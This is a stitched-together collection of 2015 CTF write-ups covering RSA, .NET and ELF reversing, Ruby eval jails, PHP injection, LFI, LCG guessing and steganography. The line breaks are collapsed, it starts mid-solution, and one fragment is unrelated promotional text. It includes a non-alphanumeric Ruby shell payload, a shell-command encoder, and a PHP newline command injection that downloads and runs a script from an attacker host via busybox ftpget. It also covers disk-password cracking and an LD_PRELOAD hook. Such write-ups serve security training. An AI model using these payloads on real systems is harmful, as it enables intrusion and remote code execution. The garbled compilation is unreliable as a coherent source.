2,0x38c726b2e4a698bb0cfca6e682d,0x778234903a0d0b3cf9a87863874,0xd6268f00fe0e2964d56458f59e2,0x208babd43638118bfbfa24675ee9,0x4b65df436053ac77b39ee9af1c7b,0x1cc712adfa8e3895148458fad2c1,0x38c726b2e4a698bb0cfca6e682d,0x2598f02931e3e1ad5ea7f483acb3,0x3d939c9477d93bfc83dd97c5f2f9,0x443a54ee80465ea8794310bfc99,0x3ac988efc5ae6e71bd3e5b5674c0,0x208babd43638118bfbfa24675ee9,0x2bc3bf947c0e85444aa13efa1c15,0x3b2542ed2f769ff9e53e1c3c5cd0,0x2b5b628bf8183400cdab7f5870b1,0x3d939c9477d93bfc83dd97c5f2f9,0x3b2542ed2f769ff9e53e1c3c5cd0,0x3504d9dd19695ed81f7a8fc8cb8f,0x5037f3325310ec596cf095a27437,0x1cc712adfa8e3895148458fad2c1,0x34d88894275b367fc7ecbb69dced,0x3b2542ed2f769ff9e53e1c3c5cd0,0x400a19b82a4700ffc8a7515d7599,0x33ddbc5a1173a5289bbd500e34f9,0xd6268f00fe0e2964d56458f59e2,0x94cbc50c353524255f889bce658,0x1cc712adfa8e3895148458fad2c1,0x3b2542ed2f769ff9e53e1c3c5cd0,0xdebdce6e3fbef92eb2562ac6ef7,0x66e706951133b2d1bfde29dc82a,0x280695a2d75efb8f1541c1ad7c9d,0x994dab0aabe9ab39ce415d9b4ba,0x1448ac6eee2b2e91a0a6241e590e,0x6bdde355d45827a6745026f4d2e,0x26256f0cdc63fb0913051c9b9b4f,0x443a54ee80465ea8794310bfc99,0x208babd43638118bfbfa24675ee9,0x4744b4f2a0bedceb58ed113af7b4,0x2b5b628bf8183400cdab7f5870b1,0x50dd9d772192f52389873a6988d9,0x94cbc50c353524255f889bce658,0x2b5b628bf8183400cdab7f5870b1,0x43c5738ead6df476d2c79dcb6036,0x400a19b82a4700ffc8a7515d7599,0x280695a2d75efb8f1541c1ad7c9d,0x3d724abd11a9a1ba703971a46d8d,0x18d846b261fa274b823f32702535,0x30193e58d50f7393b0591f2a7acc,0x1448ac6eee2b2e91a0a6241e590e,0x1cd095e64569fd2c63fc2b8b5473,0x3d939c9477d93bfc83dd97c5f2f9,0x1cd095e64569fd2c63fc2b8b5473,0x2b15275412244442d9ee60fc91ae,0x19e5013a9e49e660a006a8e9b631,0x4937e2bbe0dbc892a53215f13b21,0x4455324cb749b859704230d4318d,0x198901d5373ea225cc5c0db66987]>>> p= 38456719616722997>>> q= 44106885765559411>>> n=1696206139052948924304948333474767>>> e=0x10001>>> for c in sig:... m=pow(c,e,n)... print m,... 104 102 122 118 40 47 108 74 106 66 48 97 97 103 97 103 46 123 87 12 118 61 126 9 96 110 46 43 43 95 104 48 116 109 49 104 97 49 96 43 110 115 119 115 75 38 103 44 106 123 77 69 61 95 32 116 75 107 70 11 47 48 38 48 95 126 53 11 71 112 122 124 64 100 51 67 99 107 109 51 95 33 97 96 37 101 71 70 104 114 64 63 93 64 51 71 108 63 33 114 77 88 51 124 117 95 114 117 45 109 108 86 117 48 92 64 11 108 117 79 118 90 52 104 42 46 77 51 113 95 36 11 95 101 48 90 110 94 125 104 39 114 39 40 102 106 120 37``` Now we have two lists of numbers < 127 . they can be ascii characters. printing them as such doesn't give any info. Then we use why the Signing was actually implemented, to verify legit data. Finally ```python>>> data=[11,102,102,72,38,40,108,45,89,117,106,85,97,60,79,103,65,123,10,41,61,55,12,114,92,110,52,99,92,110,126,48,116,33,57,104,108,49,76,58,110,38,89,76,78,32,103,65,99,51,46,116,58,95,124,116,90,90,73,97,52,48,125,10,95,110,53,67,55,68,83,13,39,66,51,88,98,92,80,51,95,45,41,100,39,12,91,58,104,106,84,105,102,80,51,74,92,118,122,114,46,53,51,63,126,95,106,83,49,109,118,58,121,48,123,123,45,33,33,33,118,62,74,11,45,72,60,51,120,95,68,50,54,78,48,103,110,90,125,101,88,56,76,73,78,39,47,51]>>> >>> sig=[104,102,122,118,40,47,108,74,106,66,48,97,97,103,97,103,46,123,87,12,118,61,126,9,96,110,46,43,43,95,104,48,116,109,49,104,97,49,96,43,110,115,119,115,75,38,103,44,106,123,77,69,61,95,32,116,75,107,70,11,47,48,38,48,95,126,53,11,71,112,122,124,64,100,51,67,99,107,109,51,95,33,97,96,37,101,71,70,104,114,64,63,93,64,51,71,108,63,33,114,77,88,51,124,117,95,114,117,45,109,108,86,117,48,92,64,11,108,117,79,118,90,52,104,42,46,77,51,113,95,36,11,95,101,48,90,110,94,125,104,39,114,39,40,102,106,120,37] >>> for i in xrange(149):... if data[i]==sig[i]:... print chr(sig[i]),... f l a g { n 0 t h 1 n g _ t 0 _ 5 3 3 _ h 3 r 3 _ m 0 v 3 _ 0 n }``` Flag> flag{n0th1ng_t0_533_h3r3_m0v3_0n}
[](ctf=ekoparty-ctf-2015)[](type=reversing)[](tags=image,C#)[](tools=Telerik-JustDecompile,PIL)[](techniques=no-patch) # Patch me (rev50) We have a [zip](../rev50.zip).Extract and we get ```bash$ file *SecureImageViewer.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windowssecureimage.xml: XML document text``` .Net assembly can be very easy decompiled. I use [Telerik JustDecompile](http://www.telerik.com/products/decompiler.aspx) to decompile the code. Here is the code that does the main job of decoding the xml to an image. ```csprotected void open(object sender, EventArgs e) { int num = 201527; int[] numArray = new int[100001]; int num1 = 0; using (FileStream fileStream = File.OpenRead("secureimage.xml")) { numArray = (int[])(new XmlSerializer(typeof(int[]))).Deserialize(fileStream); } for (int i = 0; i < 100000; i++) { num1 = num1 + numArray[i]; } if (num1 != numArray[100000]) { MessageDialog messageDialog = new MessageDialog(null, 1, 3, 1, "Corrupted Image", new object[0]); messageDialog.Run(); messageDialog.Destroy(); return; } GC gC = new GC(this.graph.get_GdkWindow()); gC.set_RgbFgColor(new Color(51, 102, 153)); this.graph.get_GdkWindow().GetImage(0, 0, 500, 200); for (int j = 0; j < 500; j++) { for (int k = 0; k < 200; k++) { if ((numArray[j + k * 500] ^ num) == 3368601) { this.graph.get_GdkWindow().DrawPoint(gC, j, k); } num = num * 100673 + 15485867; } } }``` The algorithm is easier to implement in python than to patch the binary xD.The xml provided here fails the check ```for (int i = 0; i < 100000; i++) { num1 = num1 + numArray[i]; } if (num1 != numArray[100000])```I would write python instead. ```python>>> from PIL import Image>>> size=500,200>>> num=201527>>> num1=0>>> for i in xrange(100000):... num1+=arr[i]... >>> num1245665872900>>> num1=0>>> arr[100000]0>>> im = Image.new("RGB", size, "white")>>> pix=im.load()>>> for j in xrange(0,500):... for k in xrange(0,200):... if (arr[j+k*500]^num) == 3368601:... pix[j,k]=(0,0,0)... num=((num*100673)+15485867)&0xffffffff... >>> im.show()>>> ```Will give me ![final](final.jpg). Flag> EKO{n1L+P4tch}
## hard to say - Misc 4x50 Problem - Writeup by Robert Xiao (@nneonneo) ### Description > Ruby on Fails.> FLAG1: nc 54.199.215.185 9001> FLAG2: nc 54.199.215.185 9002> FLAG3: nc 54.199.215.185 9003> FLAG4: nc 54.199.215.185 9004> > hard_to_say-151ba63da9ef7f11bcbba93657805f85.rb ### Solution This cute little Ruby program accepts a *non-alphanumeric* string of a certain maximum length and `eval`s it. So, our goal is just to write some non-alphanumeric Ruby shellcode. There are four problem instances, accepting 1024, 64, 36 and 10 byte inputs respectively and giving 50 points each. Since we want all the flags, we'll just focus on making a 10-byte shellcode. Ruby has the backtick operator (``` `` ```) which lets us execute a shell command. Inside the backticks, Ruby also supports standard interpolation operators (`#{}`) which will run Ruby code and insert the result into the shell command string. Our goal is to get the shell command to equal `$0`, which will give us a usable interactive shell (since `$0` is set to `/bin/sh`). Normally we might do `` `$0` `` but since numbers are banned we'll create the `0` using Ruby code. Ruby has a ton of global magic variables of the form `$<symbol>`. None of them have the value 0 by default. However, `$.`, the current input line number, is always equal to one since you're executing the first line inside an `eval` context. We can use that to create our desired zero with some bitwise operations: `~-$.` (negating gives -1, and inverting gives 0). Putting that all together, then, we have the shellcode `$#{~-$.}` which is exactly 10 bytes long. We use it to get all the flags: $ nc 54.199.215.185 9001 Hi, I can say 1024 bytes :P `$#{~-$.}` I think size = 10 is ok to me. cat flag hitcon{what does the ruby say? @#$%!@&(%!#$&(%!@#$!$?...} $ nc 54.199.215.185 9002 Hi, I can say 64 bytes :P `$#{~-$.}` I think size = 10 is ok to me. cat flag hitcon{Ruby in Peace m(_ _)m} $ nc 54.199.215.185 9003 Hi, I can say 36 bytes :P `$#{~-$.}` I think size = 10 is ok to me. cat flag hitcon{My cats also know how to code in ruby :cat:} $ nc 54.199.215.185 9004 Hi, I can say 10 bytes :P `$#{~-$.}` I think size = 10 is ok to me. cat flag hitcon{It's hard to say where ruby went wrong QwO} (Note that, due to buffering, it is necessary to press Ctrl+D to flush the command input after typing `cat flag`).
Hilariously, the program itself is its own inverse. A little bash to handle the base64 decoding, and out pops the flag.<span>python shiftcrypt.py "`echo 'CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA=' | base64 -D`" | base64 -D; echo</span>
Provided was a VirtualBox machine. When started, VirtualBox asked for a password to decrypt the virtual hard disk.A quick search for cracking VirtualBox's disk encryption, lead to @sinfocol's VBOXDIE-cracker (coincidence?): https://github.com/sinfocol/vboxdie-cracker/ Feeded with the famous rockyou wordlist, the cracker found the password withing seconds: angelFor convenience reasons, I removed the VDI's password, since you never know what else you might have to do with the virtual disk ;)Booting up the VM showed a simple text-based login screen. Guessing time, I guess. Trying username root with an empty password, gave no response. So, lets try root as password, too. Bingo, seems we have a shell. Listing file contents showed a single text file, with the content: ==9Z2ZhZnYj9lYnNGblB3Xsp3eChlUWell, looks a reversed base64-encoded string. Reversing it again, it decoded to RXB{zl_pelcgb_cbvagf} Not quite the expected flag format, but close. Applying a ROT13 finally yielded our flag: EKO{my_crypto_points}If that wasn't some great fun :D~HomeSen
#Module Loader **Category:** Web**Points:** 100**Description:** Since his students never know what date it is and how much time they have until the next homework's deadline, Mr P. H. Porter wrote a little webapp for that. https://school.fluxfingers.net:1522/ ##Write-up We are presented with a site that has two links, one to get the current date and one to calculate time based off of a parameter. ![Main](./Images/main.png) Viewing the source reveals a comment at the top that tells us that all of the modules are in the modules directory. Going there reveals: ![Modules](./Images/modules.png) This gives us the php code for the two pages. Since we know the modules are one level up and they are php, let's go back and try to include index.php itself in the main page. ![lfi](./Images/lfi.png) Ok, we are looking at a basic local file inclusion. Let's see what other files we can find. ![htaccess](./Images/htaccess.png) .htaccess returns something different. Looking at the source there is a directory with indexing turned on. Let's see if we can get there. ![hidden](./Images/hidden.png) Ah, ```flag.php```. Let's see what it is. ![Not that easy](./Images/notthateasy.png) Well, not quite what we wanted. Let's go back to the main page and include ```flag.php``` with its path as the module. ![flag](./Images/flag.png) ```flag{hidden_is_not_actually_hidden}```
Task URL: http://ctf.link/challenges/1/Contact Me: FB.com/belcaid.mohammedGreetz to: Bilal & HackXore Team & Team b0wa9a & Néss d La Fac & Néss Li mavalidét WaloO#Like + #Subscribe + #Share and Thanks for Watching !! :)
At first I found that there's an error in password check logic: after each check the value of the right hash (which is read from file before the first check) is overwritten by it's xor with hash of the entered password. So:1) we can enter the same password two times in a row and get the value of the right hash: 0x785e64baad242) we can learn hash of any password we enter (by xor'ing the hashes returned before and after we send the password). I've made a little base of pairs hash: password this way.3) we need to find such set of passwords, that sum modulo 2 of their hashes would be equivalent to the right hash. We can write a system of linear equations modulo 2 to get the set. The i-th equation would get us the i-th bit of the sum:xor(aij and xj) = bi, whereaij - value of bit in i-th position of hash of j-th password, which we'd got on step 2xj - shows us if j-th hash is in the set (1 - it's in the set, 0 - it isn't)bi - value of bit in i-th position of right hashThere would be 48 equations (since there are 48 bit of the hash), so we need to know hashes of only 48 different passwords. If the system is inconsistent we should drop one of the hashes and add some new one (but I've got the solution from the first try)import socketdef get_bit(n, i):    return ((n >> i) & 1) == 1def add_lines(l1, l2):    if len(l1) != len(l2):        raise Exception for i in range(len(l1)):        l1[i] ^= l2[i]def solve(A):  # solves the system of linear equations Z/2Z     for i in range(48):        for k in range(i, 48):            if A[k][i]:                T = A.pop(k)                A.insert(i, T)                break        if not A[i][i]:            return None        for j in range(48):            if i == j:                continue            if A[j][i]:                add_lines(A[j], A[i])hash_base = {}right_hash = int('785e64baad24', 16)base_name = "hashbase" # there are pairs of hash(password):password, got from the server on previous stepfor l in open(base_name, 'rt'):    if len(l) < 14: continue    known_hash, pwd = l.split('\t')    hash_base[int(known_hash.strip(), 16)] = pwd.strip()using_hashes = list(hash_base.keys())[1:49]  # since there are 48 equations we need only 48 vectorsA = []for i in range(48):    A.append([])    for j in range(len(using_hashes)):        A[-1].append(get_bit(using_hashes[j], i))    A[-1].append(get_bit(right_hash, i))print(len(A))solve(A)for i in range(48):    print(bool(A[i][-1]))# now we send the solution to the server and get the flaghh = 0sock = socket.socket()sock.connect(("school.fluxfingers.net", 1513))for i in range(48):    if A[i][-1]:        pwd = hash_base[using_hashes[i]].encode()        sock.send(b'login ' + pwd + b'\n')        ans = sock.recv(4096)        if ans[-1] != '\n':            ans += sock.recv(4096)        print(ans)sock.send(b'getflag\n')print(sock.recv(4096))print(sock.recv(4096))print(sock.recv(4096))The answer from the server:    b'Login successful\n'    b'Okay, sure! Let me grab that flag for you.'    b'\nflag{more_MATH_than_crypto_but_thats_n0t_a_CATegory}\n'P.S. It's interesting, that the complexity of the solution is O(n^2) local CPU operations and O(n) requests to the server, where n - is the length of hash in bits. So even if the hash were 256 or 512 bits long it still would be easy to solve it.
#Stego 100 - UnreadableUnreadable was a stego problem starting with an unknown file. Piping the file through xxd led us to find the flag "written" in the output with printable characters surrounded by non-printable characters.```....................-Sc(Ezfh<z..........*Y................bV..............R(........PsgOo,..........................................LZ....nx........bi....%8........)]I#<V}_S'......r)..............(f....................................................mG..............V|........:qFX>BR0JG......>@....VJ........o+....Fj........................................[5o-[+..........[[..`&j@........ly....8u........I+....P6........sg..iK..........................................zTV}?e..........X4..k4Ck........xY....T=........\:..ESJ~........dZY?wa..........................................b-o(hC49............~G................lC..............8x........M\UNsl..............................................CR..............8x..........n99+(:'F7<....d&........d#....E|........8h..``` Shown above is `hitcon{`, the first seven characters of the flag, as seen in xxd's output. ##flaghitcon{WE USE XXD INSTEAD OF IDA PRO}
## GuessTheNumber (ppc, 150+80p) The teacher of your programming class gave you a tiny little task: just write a guess-my-number script that beats his script. He also gave you some hard facts: he uses some LCG with standard glibc LCG parameters the LCG is seeded with server time using number format YmdHMS (python strftime syntax) numbers are from 0 up to (including) 99 numbers should be sent as ascii string You can find the service on school.fluxfingers.net:1523 ### PL[ENG](#eng-version) Pierwsze podejście do zadania polegało na implementacji opisanego w zadaniu LCG i próbie dopasowania wyników do zgadywanki z serwera. Jednak bardzo szybko uznaliśmy, że możliwości jest bardzo dużo i nie ma sensu ich analizować skoro da się to zadanie wykonać dużo prościej.Do zgadnięcia mamy zaledwie 100 liczb pod rząd a rozdzielczość zegara na serwerze to 1s. W związku z tym uznaliśmy, że prościej i szybciej będzie po prostu oszukiwać w tej grze :) Wiemy że liczby generowane są przez LCG co oznacza, że dla danego seeda liczby do zgadnięcia są zawsze takie same. W szczególności jeśli dwóch użytkowników połączy się w tej samej sekundzie to wszystkie 100 liczb do zgadnięcia dla nich będzie takie samo. Dodatkowo serwer zwraca nam liczbę której oczekiwał jeśli się pomylimy. Nasze rozwiązanie jest dość proste: * Uruchamiamy 101 wątków, które w tej samej sekundzie łączą się z docelowym serwerem.* Synchronizujemy wątki tak, żeby wszystkie zgadywały jedną turę w tej samej chwili a następnie czekały aż wszystkie skończą.* W każdej turze wszystkie wątki oprócz jednego czekają na liczbę do wysłania.* W każdej iteracji jeden wątek "poświęca się" wysyłając -1 jako odpowiedź, a następnie odbiera od serwera poprawną odpowiedź i informuje o niej pozostałe wątki.* W efekcie co turę "tracimy" jeden wątek, ale wszystkie pozostałe przechodzą do następnej tury podając poprawną odpowiedź. Każdy wątek realizuje poniższy kod: ```pythonmax = 101threads = Queue()correct_values = Queue()init_barier = threading.Barrier(max)init_barier_seeds = threading.Barrier(max)bar = [threading.Barrier(max - i) for i in range(max)]seeds = set() def worker(index): threads.get() init_barier.wait() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("school.fluxfingers.net", 1523)) initial_data = str(s.recv(4096)) seeds.add(parse_seed(initial_data)) init_barier_seeds.wait() if len(seeds) != 1: # make sure we all start with the same seed, otherwise quit threads.task_done() return for i in range(max): bar[i].wait() #wait on the barrier for all other threads if i == index: # suicide thread value = -1 else: value = correct_values.get() s.send(bytes(str(value) + "\n", "ASCII")) data = str(s.recv(4096)) print("thread " + str(index) + " iteration " + str(i) + " " + data) if "wrong" in data.lower(): correct = re.compile("'(\d+)'").findall(data)[0] for j in range(max - i - 1): # tell everyone what is the right number correct_values.put(correct) break threads.task_done()``` Kompletny skrypt dostępny [tutaj](guess.py) Uruchamiamy skrypt i dostajemy:```thread 98 iteration 97 b'Correct! Guess the next one!\n'thread 99 iteration 97 b'Correct! Guess the next one!\n'thread 100 iteration 97 b'Correct! Guess the next one!\n'thread 98 iteration 98 b"Wrong! You lost the game. The right answer would have been '38'. Quitting."thread 99 iteration 98 b'Correct! Guess the next one!\n'thread 100 iteration 98 b'Correct! Guess the next one!\n'thread 99 iteration 99 b"Wrong! You lost the game. The right answer would have been '37'. Quitting."thread 100 iteration 99 b"Congrats! You won the game! Here's your present:\nflag{don't_use_LCGs_for_any_guessing_competition}"``` `flag{don't_use_LCGs_for_any_guessing_competition}` ### ENG version Initial attempt for this task was to implement described LCG and trying to match the output for the results on the server. But we instantly decided that there are too many possibilities and there is no point in wasting time for analysis when we can do it much easier.We need to guess only 100 numbers in a row and the clock resolution on the server is just 1s. So we decided that it will be better and faster just to cheat the game :) We know that the numbers are generated with LCG which means that for given seed the numbers are always the same. In particular, if two users connect at the same time the 100 numbers to guess will be identical. On top of that the server returns the expected number if we make a mistake. Our solution was quite simple: * Run 101 threads, which will connect to the server at the same time.* Synchronize the threads so that they all execute a single turn and the wait for the rest.* In each turn all threads but one are waiting for the number to send.* In each turn one thread "sacrifices himself" sending -1 as answer, and the collects the correct number form server response and informs rest of the threads about it.* As a result in each turn we "lose" one thread but all the others pass to the next round. Eaach thread executes: ```pythonmax = 101threads = Queue()correct_values = Queue()init_barier = threading.Barrier(max)init_barier_seeds = threading.Barrier(max)bar = [threading.Barrier(max - i) for i in range(max)]seeds = set() def worker(index): threads.get() init_barier.wait() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("school.fluxfingers.net", 1523)) initial_data = str(s.recv(4096)) seeds.add(parse_seed(initial_data)) init_barier_seeds.wait() if len(seeds) != 1: # make sure we all start with the same seed, otherwise quit threads.task_done() return for i in range(max): bar[i].wait() #wait on the barrier for all other threads if i == index: # suicide thread value = -1 else: value = correct_values.get() s.send(bytes(str(value) + "\n", "ASCII")) data = str(s.recv(4096)) print("thread " + str(index) + " iteration " + str(i) + " " + data) if "wrong" in data.lower(): correct = re.compile("'(\d+)'").findall(data)[0] for j in range(max - i - 1): # tell everyone what is the right number correct_values.put(correct) break threads.task_done()``` Complete script is [here](guess.py). We run the script and we get:```thread 98 iteration 97 b'Correct! Guess the next one!\n'thread 99 iteration 97 b'Correct! Guess the next one!\n'thread 100 iteration 97 b'Correct! Guess the next one!\n'thread 98 iteration 98 b"Wrong! You lost the game. The right answer would have been '38'. Quitting."thread 99 iteration 98 b'Correct! Guess the next one!\n'thread 100 iteration 98 b'Correct! Guess the next one!\n'thread 99 iteration 99 b"Wrong! You lost the game. The right answer would have been '37'. Quitting."thread 100 iteration 99 b"Congrats! You won the game! Here's your present:\nflag{don't_use_LCGs_for_any_guessing_competition}"``` `flag{don't_use_LCGs_for_any_guessing_competition}`
# babyfirst (web 100) ## Description ```baby, do it first.http://52.68.245.164``` ## The bugs When you browse to the website, you see the PHP code that is running on index page. ```php ``` The program creates a sandbox directory using the `$_SERVER['REMOTE_ADDR']` (aka your IP address) if it doesn't exist already, and changes the directory into it. Then, it parses the GET parameter called `args`. The program iterates through `$args` array and verifies that they only contain letters, numbers and underscores. However, it is possible to match with a string that ends with a new line (%0A). This allows us to inject custom shell commands when it does exec with our `$args`. ## Exploit First, we run a shell command to download a shell script that we can execute later. ```http://52.68.245.164/?args[]=aa%0a&args[]=busybox&args[]=ftpget&args[]=<IP_IN_DECIMAL>&args[]=script``` Then, we run the downloaded script. ```http://52.68.245.164/?args[]=aa%0a&args[]=sh&args[]=script``` The shell script redirects output to a file which we can download by going to `/sandbox/<YOUR_IP>`. To get the flag, the script runs `/read_flag`. ## Flag Flag: `hitcon{theworldisnotbeautiful,becauzeofyou}`
# ASISCTF Finals 2015: ASIS Hash ----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| ASISCTF Finals 2015 | ASIS Hash | Reversing | 150 | **Description:**>*Find the flag in this [file](challenge/hash.elf).* ----------## Write-up We're provided with a 64-bit ELF binary which takes a command line argument and checks it against some internal variable to indicate the argument you entered was the correct flag: ```bash$ ./hash.elfUsage: ./hash.elf flag ``` The binary contains a regular `ptrace`-based anti-debugging check which we immediately patch/nop out using IDA. The code deciding whether the flag is correct or not is here: ```c if ( v2 == 2 ) { __sprintf_chk((__int64)&inp_buffer, 1LL, 1024LL, 0x401CC4LL, *(_QWORD *)(v3 + 8)); pass_out = (const char *)hash((__int64)&inp_buffer); v11 = strcmp(pass_out, (const char *)&v14); if ( v11 ) { v11 = 0; puts("Sorry! flag is not correct!"); } else { puts("Congratz, you got the flag :) "); } }``` To save us some reverse engineering time we want to obtain the value our (processed) flag is matched against so we use a small `LD_PRELOAD` script to hook `strcmp` and dump its arguments: ```c#define _GNU_SOURCE #include <stdio.h>#include <stdlib.h>#include <dlfcn.h> // Function prototypes for hook, to be used as type for original function resolutiontypedef int (*orig_strcmp_f_type)(char *s1, char *s2); int strcmp(char *s1, char *s2){ orig_strcmp_f_type orig_strcmp; orig_strcmp = (orig_strcmp_f_type)dlsym(RTLD_NEXT,"strcmp"); printf("[%s] [%s]\n", s1, s2); return orig_strcmp(s1, s2);}``` Which gives us: ```bash$ LD_PRELOAD=./hook.so ./hash.elf kek[193633239] [27221558106229772521592198788202006619458470800161007384471764]Sorry! flag is not correct!``` Given the challenge name and values involved we can probably assume this is some sort of hash and `27221558106229772521592198788202006619458470800161007384471764` represents the hash of our target flag. The pseudo-code for the hashing function looks as follows: ```csigned __int64 __fastcall hash(__int64 user_input){ __int64 v1; // rbx@1 __int64 v2; // r8@1 const char *v3; // rax@2 __int64 v4; // rax@2 __int64 v5; // rdx@3 __int64 v7; // [sp+0h] [bp-48h]@2 __int64 v8; // [sp+28h] [bp-20h]@1 v1 = user_input + 1; v8 = *MK_FP(__FS__, 40LL); __sprintf_chk(0x6030E0LL, 1LL, 1024LL, 0x401CCBLL, 0x1505LL);// sprintf(bss_dst_buffer, "%d", 0x1505); v2 = *(_BYTE *)user_input; if ( *(_BYTE *)user_input ) { do { LOBYTE(v2) = v2 ^ 0x8F; __sprintf_chk((__int64)&v7, 1LL, 40LL, 0x401CCELL, v2);// sprintf(bss_dst_buffer, "%d in honor of 0x8F", v2); ++v1; *strchr((const char *)&v7, 0x20) = 0; v3 = (const char *)sub_4012D0(bss_dst_buffer);// returns ptr to hvalholder = 0x703920 v4 = sub_400BD0(v3, (const char *)&v7;; __sprintf_chk(0x6030E0LL, 1LL, 1024LL, 0x401CC4LL, v4);// sprintf(bss_dst_buffer, "%s", v4); v2 = *(_BYTE *)(v1 - 1); } while ( *(_BYTE *)(v1 - 1) ); } v5 = *MK_FP(__FS__, 40LL) ^ v8; return 0x6030E0LL; // bss_dst_buffer}``` It looks like the hashing function iterates over the characters of our input string, XORs them with 0x8F and converts the result to a string holding the decimal representation which is stored in v7. The subroutines called by the hashing function are a little convoluted and instead of statically reversing them we load the binary into gdb, set breakpoints before and after the subroutine calls and observe the values of `v3`, `v4` and `v7` and see if we can learn something about the hashing algorithm from them: ```bashgdb-peda$ b *0x401BD0Breakpoint 1 at 0x401bd0gdb-peda$ b *0x401BD6Breakpoint 2 at 0x401bd6gdb-peda$ b *0x401BDBBreakpoint 3 at 0x401bdbgdb-peda$ r ABCD Iteration 0: RAX: 0x703920 --> 0x333735373731 ('177573') RSP: 0x7fffffffe370 --> 0x68206e6900363032 ('206') RAX: 0x804181 --> 0x393737373731 ('177779') Iteration 1: RAX: 0x703920 --> 0x37303736363835 ('5866707') RSP: 0x7fffffffe370 --> 0x68206e6900353032 ('205') RAX: 0x804181 --> 0x32313936363835 ('5866912') Iteration 2: RAX: 0x703920 ("193608096") RSP: 0x7fffffffe370 --> 0x68206e6900343032 ('204') RAX: 0x804181 ("193608300")``` If we look at the above we can indeed see our string characters are taken and XORed with 0x8F (A ^ 0x8F = 0x41 ^ 0x8F = 206). We can also see the call to `sub_400BD0` apparently simply adds `v3` and `v7` (177573 + 206 = 177779) while `sub_4012D0` seems to multiply v3 result by 33 and multiple runs reveal v3 always starts at 177573. So without having to look at the subroutines we can conclude this is a multiplicative hash function initial state = 0x1505 (177573/33), multiplier = 33 and no modulus (which we can conclude from the fact that we can feed arbitrarily large strings which result in corresponding increases in hash size). In Python the hash function looks as follows: ```pythondef hashf(s): # Multiplier M = 0x21 # Initial state state = 0x1505 for c in s: state = ((state * M) + (ord(c) ^ 0x8F)) return state``` While similar in many ways to the [simple_hash](https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2015/MMACTF/reversing/simple_hash) challenge of this year's MMACTF this hash function is a little different in that the multiplier is not a prime number (making direct reversal impossible) and the XOR operation complicates the boundary-check on our divide-and-conquor approach from that CTF. However since there is no modulus involved we can simply bruteforce the input on a byte-by-byte basis (especially given that we know the last character is }, the first 5 characters are ASIS{ and there are 32 characters in between in lowercase hex as per the flag format) using [the following script](solution/hash_crack.py): ```python#!/usr/bin/env python## ASISCTF Finals 2015## @a: Smoke Leet Everyday# @u: https://github.com/smokeleeteveryday# def hashf(s): # Multiplier M = 0x21 # Initial state state = 0x1505 for c in s: state = ((state * M) + (ord(c) ^ 0x8F)) return state def recover_m(h): charset = "0123456789abcdef" M = 0x21 I = hashf("ASIS{") s = "}" h -= (ord("}") ^ 0x8F) h /= M while (h > I): for c in charset: if ((h - (ord(c) ^ 0x8F)) % M == 0): s += c h -= (ord(c) ^ 0x8F) h /= M s += "{SISA" return s[::-1] h = 27221558106229772521592198788202006619458470800161007384471764print recover_m(h)``` Which gives us: ```bash$ ./hash_crack.pyASIS{d5c808f5dc96567bda48be9ba82fc1d6}```
## HardToSay (misc, 200p, (111, 88, 73, 28) solves) Ruby on Fails. FLAG1: nc 54.199.215.185 9001 FLAG2: nc 54.199.215.185 9002 FLAG3: nc 54.199.215.185 9003 FLAG4: nc 54.199.215.185 9004 hard_to_say-151ba63da9ef7f11bcbba93657805f85.rb ### PL[ENG](#eng-version) Dostajemy taki kod: ```ruby #!/usr/bin/env ruby fail 'flag?' unless File.file?('flag') $stdout.sync = true limit = ARGV[0].to_iputs "Hi, I can say #{limit} bytes :P"s = $stdin.gets.strip! if s.size > limit || s[/[[:alnum:]]/] puts 'oh... I cannot say this, maybe it is too long or too weird :(' exitend puts "I think size = #{s.size} is ok to me."r = eval(s).to_sr[64..-1] = '...' if r.size > 64puts r``` Jak widać pobiera on od użytkownika kod, i evaluje go - ale tylko pod warunkiem że nie zawiera znaków alfanumerycznych i jest odpowiednio krótki. Są cztery serwery z zadaniem - każdy z nich przyjmuje mniej znaków. Pierwszy 1024, drugi 64, trzeci 36, a czwarty tylko 10. Za pokonanie każdego dostajemy 50 punktów. Najlepszym rozwiązaniem na jakie wpadliśmy na początku to wykonanie operacji na shellu za pomocą backticków (``` ` ```) i interpolowania stringów. Opieramy się tutaj na kilku wartościach które są domyślnie dostępne w interpreterze, np. `$$` zwraca nam PID aktualnego procesu, więc wykonanie `$$/$$` da nam wynik `1`. Możemy w ten sposób uzyskać dowolne liczby, a stosując `''<<number` możemy generować także dowolne znaki ASCII. Napisaliśmy sobie prosty enkoder wykonujący dowolne (odpowiednio krótkie) polecenie shellowe: ```pythondef encode(cmd): out = """a1 = $$/$$ a2 = a1+a1 a4 = a2+a2 a8 = a4+a4 a16 = a8+a8 a32 = a16+a16 a64 = a32+a32 """ ss = [] for c in cmd: cc = ord(c) vs = [] for b in range(8): if (2**b) & ord(c): vs.append('a'+str(2**b)) ss.append('(' + '+'.join(vs) + ")") s = '(""<<' + '<<'.join(ss) + ")" end = "`#{" + s + "}`" start = out + end varnames = ['_'*i for i in range(1,10)][::-1] start = start.replace('a64', varnames.pop()) start = start.replace('a32', varnames.pop()) start = start.replace('a16', varnames.pop()) start = start.replace('a8', varnames.pop()) start = start.replace('a4', varnames.pop()) start = start.replace('a2', varnames.pop()) start = start.replace('a1', varnames.pop()) start = ';'.join(start.split('\n')) return start import sysprint encode(sys.argv[1])``` Flaga: `hitcon{what does the ruby say? @#$%!@&(%!#$&(%!@#$!$?...}` +50 punktów. Zdobyliśmy w ten sposób pierwszą flagę. Niestety, okazało się że nie da się ukraść jednej flagi mając shella od drugiej flagi (brak uprawnień) i musieliśmykombinować dalej... Postanowiliśmy złożyć string "sh". I umieścić bo w backtickach aby wykonać go w shellu, uzyskując tym samym dostęp do shella. Nasza druga próba, dla 64 znaków, wyglądała tak: _=$$;$_=*?`..?{;`#{$_[_*_+_-_/_]+$_[_+_]}` Flaga: `hitcon{Ruby in Peace m(_ _)m` +50 punktów. A następnie dla 36 bajtów analogiczna operacja kodująca wywołanie sh: _=*?[..?{;`#{_[~--$$-$$]+_[~$$*$$]}` Flaga: `hitcon{My cats also know how to code in ruby :cat:}` +50 punktów. Później myśleliśmy dłuższą 